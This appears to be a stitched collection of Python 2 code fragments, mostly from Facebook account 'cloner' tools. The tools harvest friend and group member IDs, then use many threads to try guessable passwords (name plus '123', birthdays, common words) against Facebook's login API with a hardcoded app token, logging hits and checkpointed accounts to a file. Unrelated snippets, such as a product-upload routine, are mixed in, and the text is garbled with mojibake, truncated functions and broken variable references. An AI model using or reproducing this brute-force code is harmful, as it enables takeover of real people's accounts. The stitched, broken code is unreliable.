โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโ \033[1;96mThanks me later \033[1;95mFb\033[1;97m54Q11 \033[1;95myoutube\033[1;97mhttps://https://www.facebook.com/54Q11.ALL.HATERX.KA.PAPA.FEEL.THE.POWER""" raw_input("\n\033[1;92m[\033[1;92mBack\033[1;95m]") login()
saveToJson(p_list) upload_to_cloudsearch(products_json) print ('uploading') # Yield successive n-sized # chunks from l. def divide_chunks(l, n): # looping till length l for i in range(0, len(l), n): yield l[i:i + n] if __name__ == '__main__': #first run all_products=getAdvertisers() product_list=[] #use extend instead of append to get all product_list.extend(getProducts(all_products)) # using list comprehension, devide all products into 4000 each n = 4000 final = divide_chunks(product_list, n) # set retries to avoid timeout config = Config(connect_timeout=10, retries={'max_attempts': 0}) pool= ThreadPool(processes=3) pool.map(upload_test, final) print('done')
print '\x1b[1;92mHack 100%๐\x1b[1;97m-\x1b[1;93mโฌ\x1b[1;97m-' + user + '-\x1b[1;93mโฌ\x1b[1;97m-' + pass13 oks.append(user+pass13) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;93mCheckpoint\x1b[1;97m-\x1b[1;93mโฌ\x1b[1;97m-' + user + '-\x1b[1;93mโฌ\x1b[1;97m-' + pass13 cek = open("out/checkpoint.txt", "a") cek.write(user+"|"+pass13+"\n") cek.close() cekpoint.append(user+pass13) except: pass p = ThreadPool(50) p.map(main, id) print "\033[1;96mโขโโขโฌย โฌย โฌย โฌย โฌย โฌย โฌโขโโข\033[1;93mDEFAULTER\033[1;96mโขโโขโฌย โฌย โฌย โฌย โฌย โฌย โฌโขโโข" print " \033[1;93mยซ---โขโโข---Developed By FADII JUTT--โขโโข---ยป" #Dev:FADII JUTT print '\033[1;96mโ Process Has Been Completed Pressโก Ctrl+Z.โฉ Next Type (python2 FADII JUTT.py)โฉ\033[1;97m....' print"\033[1;92mTotal OK/\x1b[1;93mCP \033[1;93m: \033[1;97m"+str(len(oks))+"\033[1;97m/\033[1;93m"+str(len(cekpoint)) print """ โญโโโโณโโโโณโโโโณโโโณโโโฎโฑโฑโญโณโฎโฑโญโณโโโโโณโโโโโฎ โโญโโโซโญโโฎโฃโฎโญโฎโฃโซโฃโปโซโฃโฏโฑโฑโโโโฑโโโญโฎโญโฎโโญโฎโญโฎโ โโฐโโโซโโฑโโโโโโโโโฑโโโฑโฑโฑโโโโฑโโฃโฏโโโฐโปโฏโโโฐโฏ โโญโโโซโฐโโฏโโโโโโโโฑโโโฑโญโฎโโโโฑโโโฑโโโฑโฑโฑโโ โโโฑโฑโโญโโฎโฃโฏโฐโฏโฃโซโฃโณโซโฃโฎโโฐโฏโโฐโโฏโโฑโโโฑโฑโฑโโ โฐโฏโฑโฑโฐโฏโฑโฐโปโโโโปโโโปโโโฏโฐโโโปโโโโฏโฑโฐโฏโฑโฑโฑโฐโฏ
def pilih_hh2(): global okay peak = raw_input("\033[37;1mroot@R15K1\033[31;1m-\033[37;1m#\033[32;1m ") if peak == '': print '\x1b[31;1m[!] \x1b[31;1mJangan kosong' pilih_mbf() else: if peak == '1' or peak == '01': os.system('reset') print logo r = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket) z = json.loads(r.text) for s in z['data']: id.append(s['id']) else: if peak == '2' or peak == '02': os.system('reset') print logo idg = raw_input('\033[37;1m[\033[32;1m?\033[37;1m] Masukan ID group \033[36;1m:\033[37;1m ') try: os.system('reset') print logo r = requests.get('https://graph.facebook.com/group/?id=' + idg + '&access_token=' + toket) asw = json.loads(r.text) print '\033[31;1m[โ]\033[32;1m Groups\033[31;1m :\033[37;1m ' + asw['name'] except KeyError: print '\x1b[31;1m[!] \x1b[31;1mGroups Tidak Ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mEnter Aja Gan \x1b[1;91m]') menu() re = requests.get('https://graph.facebook.com/' + idg + '/members?fields=name,id&limit=999999999&access_token=' + toket) s = json.loads(re.text) for i in s['data']: id.append(i['id']) else: if peak == '0' or peak == '00': os.system('rm -rf cookie') keluar() else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + peak + ' \x1b[1;91mTidak ada' pilih_mbf() print '\033[31;1m[+] \033[32;1mTotal ID\033[31;1m : \033[37;1m'+str(len(id)) print "\033[36;1m========================================================" def main(arg): user = arg try: a = requests.get('https://graph.facebook.com/' + user + '/?access_token=' + toket) b = json.loads(a.text) pass1 = b['first_name'] + '123' data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password='******'&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') q = json.load(data) if 'access_token' in q: x = requests.get("https://graph.facebook.com/"+user+"?access_token="+q['access_token']) z = json.loads(x.text) print "\033[37;1m[\033[32;1msucces\033[37;1m]\033[32;1mโข>\033[37;1m "+user+"\033[36;1m |\033[37;1m "+pass1+"\033[36;1m |\033[37;1m "+z['name'] else: pass2 = b['first_name'] + '12345' data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password='******'&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') q = json.load(data) if 'access_token' in q: x = requests.get("https://graph.facebook.com/"+user+"?access_token="+q['access_token']) z = json.loads(x.text) print "\033[37;1m[\033[32;1msucces\033[37;1m]\033[32;1mโข>\033[37;1m "+user+"\033[36;1m |\033[37;1m "+pass2+"\033[36;1m |\033[37;1m "+z['name'] else: pass3 = b['last_name'] + '123' data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password='******'&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') q = json.load(data) if 'access_token' in q: x = requests.get("https://graph.facebook.com/"+user+"?access_token="+q['access_token']) z = json.loads(x.text) print "\033[37;1m[\033[32;1msucces\033[37;1m]\033[32;1mโข>\033[37;1m "+user+"\033[36;1m |\033[37;1m "+pass3+"\033[36;1m |\033[37;1m "+z['name'] else: lahir = b['birthday'] pass4 = lahir.replace('/', '') data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password='******'&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') q = json.load(data) if 'access_token' in q: x = requests.get("https://graph.facebook.com/"+user+"?access_token="+q['access_token']) z = json.loads(x.text) print "\033[37;1m[\033[32;1msucces\033[37;1m]\033[32;1mโข>\033[37;1m "+user+"\033[36;1m |\033[37;1m "+pass4+"\033[36;1m |\033[37;1m "+z['name'] else: pass5 = a['first_name'] + 'ganteng123' data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password='******'&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') q = json.load(data) if 'access_token' in q: x = requests.get("https://graph.facebook.com/"+user+"?access_token="+q['access_token']) z = json.loads(x.text) print "\033[37;1m[\033[32;1msucces\033[37;1m]\033[32;1mโข>\033[37;1m "+user+"\033[36;1m |\033[37;1m "+pass5+"\033[36;1m |\033[37;1m "+z['name'] else: pass6 = a['first_name'] + 'cantik123' data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password='******'&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') q = json.load(data) if 'access_token' in q: x = requests.get("https://graph.facebook.com/"+user+"?access_token="+q['access_token']) z = json.loads(x.text) print "\033[37;1m[\033[32;1msucces\033[37;1m]\033[32;1mโข>\033[37;1m "+user+"\033[36;1m |\033[37;1m "+pass6+"\033[36;1m |\033[37;1m "+z['name'] else: pass7 = 'doraemon' data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password='******'&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') q = json.load(data) if 'access_token' in q: x = requests.get("https://graph.facebook.com/"+user+"?access_token="+q['access_token']) z = json.loads(x.text) print "\033[37;1m[\033[32;1msucces\033[37;1m]\033[32;1mโข>\033[37;1m "+user+"\033[36;1m |\033[37;1m "+pass7+"\033[36;1m |\033[37;1m "+z['name'] else: pass8 = 'sayang' data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password='******'&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') q = json.load(data) if 'access_token' in q: x = requests.get("https://graph.facebook.com/"+user+"?access_token="+q['access_token']) z = json.loads(x.text) print "\033[37;1m[\033[32;1msucces\033[37;1m]\033[32;1mโข>\033[37;1m "+user+"\033[36;1m |\033[37;1m "+pass8+"\033[36;1m |\033[37;1m "+z['name'] else: pass9 = 'kontol123' data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password='******'&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') q = json.load(data) if 'access_token' in q: x = requests.get("https://graph.facebook.com/"+user+"?access_token="+q['access_token']) z = json.loads(x.text) print "\033[37;1m[\033[32;1msucces\033[37;1m]\033[32;1mโข>\033[37;1m "+user+"\033[36;1m |\033[37;1m "+pass9+"\033[36;1m |\033[37;1m "+z['name'] except: pass meq = ThreadPool(30) meq.map(main, id) print "\033[31;1m========================================================" print "\033[32;1m[โ]\033[37;1m Done Ya Boss Q" os.system('rm -rf cookie') keluar()
def sequence_parallel(fs): pool = ThreadPool(len(fs)) try: return pool.map(lambda f: f(), fs) finally: pool.terminate()
def pilih_super(): peak = raw_input("\n\033[1;91mChoose an Option>>> \033[1;97m") if peak == "": print "\x1b[1;91mFill in correctly" pilih_super() elif peak == "1": os.system('clear') print logo print "\033[1;95mัะงะตัะงะดัะงะตัะงะดัะงะตัะงะดัะงะตัะงะดัะงะตัะงะดัะงะตัะงะดัะงะตัะงะดัะะฒัะงะัะะฒัะงะตัะงะดัะงะตัะงะดัะงะตัะงะดัะงะตัะงะดัะงะตัะงะดัะงะตัะงะดัะงะตัะงะด\033[1;96mBlackMafia\033[1;95mัะงะตัะงะดัะงะตัะงะดัะงะตัะงะดัะงะตัะงะดัะงะตัะงะดัะงะตัะงะดัะงะตัะงะดัะะฒัะงะัะะฒัะงะตัะงะดัะงะตัะงะดัะงะตัะงะดัะงะตัะงะดัะงะตัะงะดัะงะตัะงะดัะงะตัะงะด" jalan('\033[1;93mGetting IDs \033[1;97m...') r = requests.get( "https://graph.facebook.com/me/friends?access_token=" + toket) z = json.loads(r.text) for s in z['data']: id.append(s['id']) elif peak == "2": os.system('clear') print logo idt = raw_input( "\033[1;96m[ัะฉะฑ] \033[1;92mEnter ID link\033[1;93m: \033[1;97m") print "\033[1;95mัะงะตัะงะดัะงะตัะงะดัะงะตัะงะดัะงะตัะงะดัะงะตัะงะดัะงะตัะงะดัะงะตัะงะดัะะฒัะงะัะะฒัะงะตัะงะดัะงะตัะงะดัะงะตัะงะดัะงะตัะงะดัะงะตัะงะดัะงะตัะงะดัะงะตัะงะด\033[1;96mB4baloch\033[1;95mัะงะตัะงะดัะงะตัะงะดัะงะตัะงะดัะงะตัะงะดัะงะตัะงะดัะงะตัะงะดัะงะตัะงะดัะะฒัะงะัะะฒัะงะตัะงะดัะงะตัะงะดัะงะตัะงะดัะงะตัะงะดัะงะตัะงะดัะงะตัะงะดัะงะตัะงะด" try: jok = requests.get("https://graph.facebook.com/" + idt + "?access_token=" + toket) op = json.loads(jok.text) print "\033[1;93mName\033[1;93m:\033[1;97m " + op["name"] except KeyError: print "\x1b[1;92mID Not Found!" raw_input("\n\033[1;96m[\033[1;94mBack\033[1;96m]") super() print "\033[1;93mGetting IDs\033[1;93m..." r = requests.get("https://graph.facebook.com/" + idt + "/friends?access_token=" + toket) z = json.loads(r.text) for i in z['data']: id.append(i['id']) elif peak == "0": menu() else: print "\x1b[1;91mFill in correctly" pilih_super() print "\033[1;91mTotal IDs\033[1;93m: \033[1;94m" + str(len(id)) jalan('\033[1;92mPlease Wait\033[1;93m...') titik = ['. ', '.. ', '... '] for o in titik: print("\r\033[1;91mCloning\033[1;93m" + o), sys.stdout.flush() time.sleep(1) print "\n\033[1;94mโฌะป-----\x1b[1;93mัะฉะฑTo Stop Process Press CTRL+Zัะฉะฑ\033[1;94m----โฌโ" print "\033[1;95mัะงะตัะงะดัะงะตัะงะดัะงะตัะงะดัะงะตัะงะดัะงะตัะงะดัะงะตัะงะดัะงะตัะงะดัะะฒัะงะัะะฒัะงะตัะงะดัะงะตัะงะดัะงะตัะงะดัะงะตัะงะดัะงะตัะงะดัะงะตัะงะดัะงะตัะงะด\033[1;96mBlackMafia\033[1;95mัะงะตัะงะดัะงะตัะงะดัะงะตัะงะดัะงะตัะงะดัะงะตัะงะดัะงะตัะงะดัะงะตัะงะดัะะฒัะงะัะะฒัะงะตัะงะดัะงะตัะงะดัะงะตัะงะดัะงะตัะงะดัะงะตัะงะดัะงะตัะงะดัะงะตัะงะด" jalan( ' \033[1;93m .......................Cloning Start plzzz Wait....................... ' ) print "\033[1;95mัะงะตัะงะดัะงะตัะงะดัะงะตัะงะดัะงะตัะงะดัะงะตัะงะดัะงะตัะงะดัะงะตัะงะดัะะฒัะงะัะะฒัะงะตัะงะดัะงะตัะงะดัะงะตัะงะดัะงะตัะงะดัะงะตัะงะดัะงะตัะงะดัะงะตัะงะด\033[1;96mBlackMafia\033[1;95mัะงะตัะงะดัะงะตัะงะดัะงะตัะงะดัะงะตัะงะดัะงะตัะงะดัะงะตัะงะดัะงะตัะงะดัะะฒัะงะัะะฒัะงะตัะงะดัะงะตัะงะดัะงะตัะงะดัะงะตัะงะดัะงะตัะงะดัะงะตัะงะดัะงะตัะงะด" def main(arg): global cekpoint, oks user = arg try: os.mkdir('out') except OSError: pass #Dev:b4_baloch try: a = requests.get('https://graph.facebook.com/' + user + '/?access_token=' + toket) b = json.loads(a.text) pass1 = ('india123') data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) q = json.load(data) if 'access_token' in q: print '\x1b[1;92mัะจะฎ{Hack}\x1b[1;97m-\x1b[1;94mัะงะ\x1b[1;97m-' + user + '-\x1b[1;94mัะงะ\x1b[1;97m-' + pass1 oks.append(user + pass1) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;91mัะจะฎ{CP}\x1b[1;97m-\x1b[1;94mัะงะ\x1b[1;97m-' + user + '-\x1b[1;94mัะงะ\x1b[1;97m-' + pass1 cek = open("out/checkpoint.txt", "a") cek.write(user + "|" + pass1 + "\n") cek.close() cekpoint.append(user + pass1) else: pass2 = (j['first_name'] + 'gupta') data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) q = json.load(data) if 'access_token' in q: print '\x1b[1;92mัะจะฎ{Hack}\x1b[1;97m-\x1b[1;94mัะงะ\x1b[1;97m-' + user + '-\x1b[1;94mัะงะ\x1b[1;97m-' + pass2 oks.append(user + pass2) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;91mัะจะฎ{CP}\x1b[1;97m-\x1b[1;94mัะงะ\x1b[1;97m-' + user + '-\x1b[1;94mัะงะ\x1b[1;97m-' + pass2 cek = open("out/checkpoint.txt", "a") cek.write(user + "|" + pass2 + "\n") cek.close() cekpoint.append(user + pass2) else: pass3 = (j['first_name'] + 'ansari') data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) q = json.load(data) if 'access_token' in q: print '\x1b[1;92mัะจะฎ{Hack}\x1b[1;97m-\x1b[1;94mัะงะ\x1b[1;97m-' + user + '-\x1b[1;94mัะงะ\x1b[1;97m-' + pass3 oks.append(user + pass3) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;91mัะจะฎ{CP}\x1b[1;97m-\x1b[1;94mัะงะ\x1b[1;97m-' + user + '-\x1b[1;94mัะงะ\x1b[1;97m-' + pass3 cek = open("out/checkpoint.txt", "a") cek.write(user + "|" + pass3 + "\n") cek.close() cekpoint.append(user + pass3) else: pass4 = (j['first_name'] + 'khan') data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) q = json.load(data) if 'access_token' in q: print '\x1b[1;92mัะจะฎ{Hack}\x1b[1;97m-\x1b[1;94mัะงะ\x1b[1;97m-' + user + '-\x1b[1;94mัะงะ\x1b[1;97m-' + pass4 oks.append(user + pass4) else: if 'www.facebook.com' in q[ "error_msg"]: print '\x1b[1;91mัะจะฎ{CP}\x1b[1;97m-\x1b[1;94mัะงะ\x1b[1;97m-' + user + '-\x1b[1;94mัะงะ\x1b[1;97m-' + pass4 cek = open("out/checkpoint.txt", "a") cek.write(user + "|" + pass4 + "\n") cek.close() cekpoint.append(user + pass4) else: pass5 = (j['first_name'] + 'singh') data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) q = json.load(data) if 'access_token' in q: print '\x1b[1;92mัะจะฎ{Hack}\x1b[1;97m-\x1b[1;94mัะงะ\x1b[1;97m-' + user + '-\x1b[1;94mัะงะ\x1b[1;97m-' + pass5 oks.append(user + pass5) else: if 'www.facebook.com' in q[ "error_msg"]: print '\x1b[1;91mัะจะฎ{CP}\x1b[1;97m-\x1b[1;94mัะงะ\x1b[1;97m-' + user + '-\x1b[1;94mัะงะ\x1b[1;97m-' + pass5 cek = open( "out/checkpoint.txt", "a") cek.write(user + "|" + pass5 + "\n") cek.close() cekpoint.append(user + pass5) else: pass6 = (j['first_name'] + 'thakur') data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) q = json.load(data) if 'access_token' in q: print '\x1b[1;92mัะจะฎ{Hack}\x1b[1;97m-\x1b[1;94mัะงะ\x1b[1;97m-' + user + '-\x1b[1;94mัะงะ\x1b[1;97m-' + pass6 oks.append(user + pass6) else: if 'www.facebook.com' in q[ "error_msg"]: print '\x1b[1;91mัะจะฎ{CP}\x1b[1;97m-\x1b[1;94mัะงะ\x1b[1;97m-' + user + '-\x1b[1;94mัะงะ\x1b[1;97m-' + pass6 cek = open( "out/checkpoint.txt", "a") cek.write(user + "|" + pass6 + "\n") cek.close() cekpoint.append( user + pass6) else: a = requests.get( 'https://graph.facebook.com/' + user + '/?access_token=' + toket) b = json.loads( a.text) pass7 = ( j['first_name'] + 'sharma') data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) q = json.load(data) if 'access_token' in q: print '\x1b[1;92mัะจะฎ{Hack}\x1b[1;97m-\x1b[1;94mัะงะ\x1b[1;97m-' + user + '-\x1b[1;94mัะงะ\x1b[1;97m-' + pass7 oks.append( user + pass7) else: if 'www.facebook.com' in q[ "error_msg"]: print '\x1b[1;91mัะจะฎ{CP}\x1b[1;97m-\x1b[1;94mัะงะ\x1b[1;97m-' + user + '-\x1b[1;94mัะงะ\x1b[1;97m-' + pass7 cek = open( "out/checkpoint.txt", "a") cek.write( user + "|" + pass7 + "\n") cek.close() cekpoint.append( user + pass7) except: pass p = ThreadPool(30) p.map(main, id) print "\033[1;95mัะงะตัะงะดัะงะตัะงะดัะงะตัะงะดัะงะตัะงะดัะงะตัะงะดัะงะตัะงะดัะงะตัะงะดัะะฒัะงะัะะฒัะงะตัะงะดัะงะตัะงะดัะงะตัะงะดัะงะตัะงะดัะงะตัะงะดัะงะตัะงะดัะงะตัะงะด\033[1;96mVirus\033[1;95mัะงะตัะงะดัะงะตัะงะดัะงะตัะงะดัะงะตัะงะดัะงะตัะงะดัะงะตัะงะดัะงะตัะงะดัะะฒัะงะัะะฒัะงะตัะงะดัะงะตัะงะดัะงะตัะงะดัะงะตัะงะดัะงะตัะงะดัะงะตัะงะดัะงะตัะงะด" print " \033[1;91mโฌะป---ัะะฒัะงะัะะฒ---Developed By Virus-Hacker--ัะะฒัะงะัะะฒ---โฌโ" #Dev:Virus_hacker print '\033[1;91mProcess Has Been Completed\033[1;92m....' print "\033[1;91mTotal OK/\x1b[1;93mCP \033[1;91m: \033[1;91m" + str( len(oks)) + "\033[1;97m/\033[1;93m" + str(len(cekpoint)) print """ Virus Society. : \033[1;93m.Virus Community Cloner.... \033[1;93m : Virus Society.' whatsapp Num Main Nhi Bataonga""" raw_input("\n\033[1;93m[\033[1;91mBack\033[1;93m]") menu()